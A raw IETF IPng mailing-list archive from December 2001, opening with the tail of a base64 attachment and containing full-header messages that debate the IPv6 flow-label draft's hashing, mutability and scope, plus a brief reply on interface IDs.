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 ------=_NextPart_000_0065_01C189F9.25EDFBA0-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 06:51:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLEpLZR001552 for ; Fri, 21 Dec 2001 06:51:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLEpL3X001551 for ipng-dist; Fri, 21 Dec 2001 06:51:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLEpHZR001535 for ; Fri, 21 Dec 2001 06:51:17 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id GAA01066 for ; Fri, 21 Dec 2001 06:50:59 -0800 (PST) Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA04050 for ; Fri, 21 Dec 2001 07:50:40 -0700 (MST) Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29]) by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBLEovK26506 for ; Fri, 21 Dec 2001 15:50:57 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Fri Dec 21 15:50:57 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Dec 2001 15:42:22 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C17E@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Francis Dupont'" , "Hesham Soliman (ERA)" Cc: "'jarno.rajahalme@nokia.com'" , kre@munnari.OZ.AU, brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 15:50:35 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > => It would be good if yu could point out > a link perhaps to help me understand the reasons. > > => there are tons of mails in the archive of this list about that. => OK thanks. > > > If we want to make it > > more sophisticated then we can add another number > > to the hash input (e.g P1 || P2 || x). > > Where x can be something specific to this flow. > > > > => so why not just x (:-)... > > => Well because not all applications have that > luxury of knowing an 'x' beforehand. > Also you would have to define for each application > what 'x' means. Or define some behaviour in the > IPv6 stack based on some shared secret, which again > is not always available. > > => I still don't understand what is the difference between > x and hash(P1 || P2 || x) where x can be something specific > to this flow. => Well it doesn't have to be flow specific. If you're trying to avoid exposing the encryption key, you can use x, where x is any number that both nodes are aware of. If ESP is not being used, you simply use P1 || P2 || x (x = 0) , unless you get a duplication (1 in a thousand probability, that is if the two nodes have a thousand connections between them). Anyhow, if you get a duplicate flow id then you can increment x by 1. This is a brief explanation obviously. > PS: I can read between the lines that an end-to-end usage of > the flow label is proposed. => It wasn't meant to be between the lines :) IMHO this is only a waste of bits, > the flow label is in the header in order to be available to > intermediate nodes. For end-to-end options, a destination header > fits better. => But doesn't that waste even more bits ? Cheers, Hesham > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 07:04:14 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLF4EZR001675 for ; Fri, 21 Dec 2001 07:04:14 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLF4D8f001674 for ipng-dist; Fri, 21 Dec 2001 07:04:13 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLF49ZR001667 for ; Fri, 21 Dec 2001 07:04:10 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA16248 for ; Fri, 21 Dec 2001 07:04:10 -0800 (PST) Received: from zrc2s0jx.nortelnetworks.com (zrc2s0jx.nortelnetworks.com [47.103.122.112]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA11129 for ; Fri, 21 Dec 2001 08:04:56 -0700 (MST) Received: from zrchb200.us.nortel.com (zrchb200.us.nortel.com [47.103.121.45]) by zrc2s0jx.nortelnetworks.com (Switch-2.2.0/Switch-2.2.0) with ESMTP id fBLF41n01027; Fri, 21 Dec 2001 09:04:01 -0600 (CST) Received: by zrchb200.us.nortel.com with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Dec 2001 09:02:32 -0600 Message-ID: <933FADF5E673D411B8A30002A5608A0E01449CD8@zrc2c012.us.nortel.com> From: "Glenn Morrow" To: Margaret Wasserman , ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 09:02:31 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C18A30.83721680" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C18A30.83721680 Content-Type: text/plain; charset="iso-8859-1" IMO, you are absolutely right. To pin it down to one specific use would in effect limit its use (i.e. reduce extensibility of IPv6). We should also learn from past on the mutability question in that if there is an economic incentive for functionality that requires that a field be mutable under certain circumstances, it will be. Putting something in an standard that says a field is immutable has proven to acheive nothing. I am not apposed to someone saying the field can be used for "function A" and the field is IMUTABLE when used for "function A", but to limit the fields use only to "function A" would be quite unrealistic given the past, in my opinion - especially without detailing the necessary signaling semantics of using it for "function A". If "function A" wants the field immutable so be it. The signaling for "function A" needs to convey the mutability rules to affected parties either implicitly or by optionality. Thanks, Glenn > -----Original Message----- > From: Margaret Wasserman [mailto:mrw@windriver.com] > Sent: Thursday, December 20, 2001 10:50 AM > To: ipng@sunroof.eng.sun.com > Subject: Re: draft-rajahalme-ipv6-flow-label-00.txt > > > > > Hi All, > > I am wondering why we should specify the use of the flow label as > part of the base IPv6 specifications at all. Why do we need > these rules as part of IPv6? > > The flow label does not, by itself, provide any useful information > that a router can use to classify a flow and/or optimize packet > handling. In fact, without knowledge of a specific signalling > mechanism or flow-establishment mechanism, the router can't > use the flow label for anything at all. For example, a router > cannot use a flow label for QoS queuing or to optimize hop-by-hop > header processing, unless the router is aware of the signalling/ > flow-establishment mechanism in use, since it will not > know the flow lifetime. > > Any rules governing how the flow label is chosen, modified, > authenticated and/or interpreted will be specific to the > signalling/flow-establishment mechanism in use. And, all of > the nodes/routers that are utilizing one of these mechanisms > will be aware of the mechanism. > > So why not specify the semantics/use/etc. of the flow label as > part of the signalling/flow establishment protocols? > > The IPv6 specifications could merely include the current rule: > > "Hosts or routers that do not support the functions of the Flow Label > field are required to set the field to zero when originating > a packet, > pass the field on unchanged when forwarding a packet, and ignore the > field when receiving a packet." [from RFC 2460]. > > This rule should properly protect the flow label, so that > signalling/flow-establishment mechanisms can use the flow > label, as needed by the specific mechanism. > > Margaret > > > > > > > > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > ------_=_NextPart_001_01C18A30.83721680 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: draft-rajahalme-ipv6-flow-label-00.txt

IMO, you are absolutely right. To pin it down to one = specific use would in effect limit its use (i.e. reduce extensibility = of IPv6).

We should also learn from past on the mutability = question in that if there is an economic incentive for functionality = that requires that a field be mutable under certain circumstances, it = will be. Putting something in an standard that says a field is = immutable has proven to acheive nothing.

I am not apposed to someone saying the field can be = used for "function A" and the field is IMUTABLE when used for = "function A", but to limit the fields use only to = "function A" would be quite unrealistic given the past, in my = opinion  - especially without detailing the necessary signaling = semantics of using it for "function A".

If "function A" wants the field immutable = so be it. The signaling for "function A" needs to convey the = mutability rules to affected parties either implicitly or by = optionality.

Thanks,

Glenn

> -----Original Message-----
> From: Margaret Wasserman [mailto:mrw@windriver.com]
> Sent: Thursday, December 20, 2001 10:50 = AM
> To: ipng@sunroof.eng.sun.com
> Subject: Re: = draft-rajahalme-ipv6-flow-label-00.txt
>
>
>
>
> Hi All,
>
> I am wondering why we should specify the use of = the flow label as
> part of the base IPv6 specifications at = all.  Why do we need
> these rules as part of IPv6? 
>
> The flow label does not, by itself, provide any = useful information
> that a router can use to classify a flow and/or = optimize packet
> handling.  In fact, without knowledge of a = specific signalling
> mechanism or flow-establishment mechanism, the = router can't
> use the flow label for anything at all.  = For example, a router
> cannot use a flow label for QoS queuing or to = optimize hop-by-hop
> header processing, unless the router is aware = of the signalling/
> flow-establishment mechanism in use, since it = will not
> know the flow lifetime.
>
> Any rules governing how the flow label is = chosen, modified,
> authenticated and/or interpreted will be = specific to the
> signalling/flow-establishment mechanism in = use.  And, all of
> the nodes/routers that are utilizing one of = these mechanisms
> will be aware of the mechanism.
>
> So why not specify the semantics/use/etc. of = the flow label as
> part of the signalling/flow establishment = protocols?
>
> The IPv6 specifications could merely include = the current rule:
>
> "Hosts or routers that do not support the = functions of the Flow Label
> field are required to set the field to zero = when originating
> a packet,
> pass the field on unchanged when forwarding a = packet, and ignore the
> field when receiving a packet." [from RFC = 2460].
>
> This rule should properly protect the flow = label, so that
> signalling/flow-establishment mechanisms can = use the flow
> label, as needed by the specific = mechanism.
>
> Margaret
>
>
>
>
>
>
>
>
>
>
> = --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home = Page:           &= nbsp;          http://playground.sun.com/ipng
> FTP = archive:          &nbs= p;           ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to = majordomo@sunroof.eng.sun.com
> = --------------------------------------------------------------------
>

------_=_NextPart_001_01C18A30.83721680-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 07:11:52 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLFBpZR001721 for ; Fri, 21 Dec 2001 07:11:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLFBpNI001720 for ipng-dist; Fri, 21 Dec 2001 07:11:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLFBmZR001713 for ; Fri, 21 Dec 2001 07:11:48 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03520 for ; Fri, 21 Dec 2001 07:11:48 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA16531 for ; Fri, 21 Dec 2001 08:11:29 -0700 (MST) Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fBLFBkJ07097 for ; Fri, 21 Dec 2001 16:11:46 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Fri Dec 21 16:11:45 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Fri, 21 Dec 2001 16:03:11 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C17F@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Brian E Carpenter'" , ipng@sunroof.eng.sun.com Subject: RE: draft-rajahalme-ipv6-flow-label-00.txt Date: Fri, 21 Dec 2001 16:11:27 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian, > > > > => Well, there is no requirement that the flow label is > > > > globally unique. So this should work as long as you use > > > > a unique value between 2 addresses. > > > > > > > > > > However, it's only useful for a subset of cases, > > > > => I didn't really understand what you mean by 'subset > > of cases'. > > It doesn't apply to the diffserv usage (where the label > is unique to a traffic class, not a flow or a pair of ports, > and may be IANA-registered) => That's why I didn't know what you meant :) I went back and re-read the draft but I couldn't see anything about IANA assignment. In fact I brought this up in the meeting but there was no support for the idea, so is this something you'd like to add or have I completely misunderstood something ? Hesham -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 07:31:57 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLFVvZR001764 for ; Fri, 21 Dec 2001 07:31:57 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLFVvGC001763 for ipng-dist; Fri, 21 Dec 2001 07:31:57 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLFVpZR001750 for ; Fri, 21 Dec 2001 07:31:51 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA10298 for ; Fri, 21 Dec 2001 07:31:52 -0800 (PST) Received: from fnal.gov (heffalump.fnal.gov [131.225.9.20]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA18574 for ; Fri, 21 Dec 2001 07:31:51 -0800 (PST) Received: from gungnir.fnal.gov ([131.225.80.1]) by smtp.fnal.gov (PMDF V6.0-24 #37519) with ESMTP id <0GOP00G6W9T23M@smtp.fnal.gov> for ipng@sunroof.eng.sun.com; Fri, 21 Dec 2001 09:31:50 -0600 (CST) Received: from gungnir.fnal.gov (localhost [127.0.0.1]) by gungnir.fnal.gov (8.10.2+Sun/8.10.2) with ESMTP id fBLFVnl28855 for ; Fri, 21 Dec 2001 09:31:49 -0600 (CST) Date: Fri, 21 Dec 2001 09:31:49 -0600 From: Matt Crawford Subject: Re: well-known Interface IDs In-reply-to: "21 Dec 2001 14:28:29 +0100." <200112211328.fBLDSTD68826@givry.rennes.enst-bretagne.fr> To: ipng@sunroof.eng.sun.com Message-id: <200112211531.fBLFVnl28855@gungnir.fnal.gov> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I have just one last thing to say on the matter: 3041. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 21 07:44:24 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLFiOZR001830 for ; Fri, 21 Dec 2001 07:44:24 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBLFiOsa001829 for ipng-dist; Fri, 21 Dec 2001 07:44:24 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBLFiLZR001822 for ; Fri, 21 Dec 2001 07:44:21 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA15053 for ; Fri, 21 Dec 2001 07:44:22 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA22106 for ; Fri, 21 Dec 2001 07:44:20 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBLFiGI23301; Fri, 21 Dec 2001 16:44:17 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id QAA08705; Fri, 21 Dec 2001 16:44:17 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBLFiGD69452; Fri, 21 Dec 2001 16:44:16 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112211544.fBLFiGD69452@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Peter Bieringer cc: ipng@sunroof.eng.sun.com Subject: Re: (ngtrans) remote netaccess-threats via automatic tunneling In-reply-to: Your message of Thu, 20 Dec 2001 20:17:41 +0100. 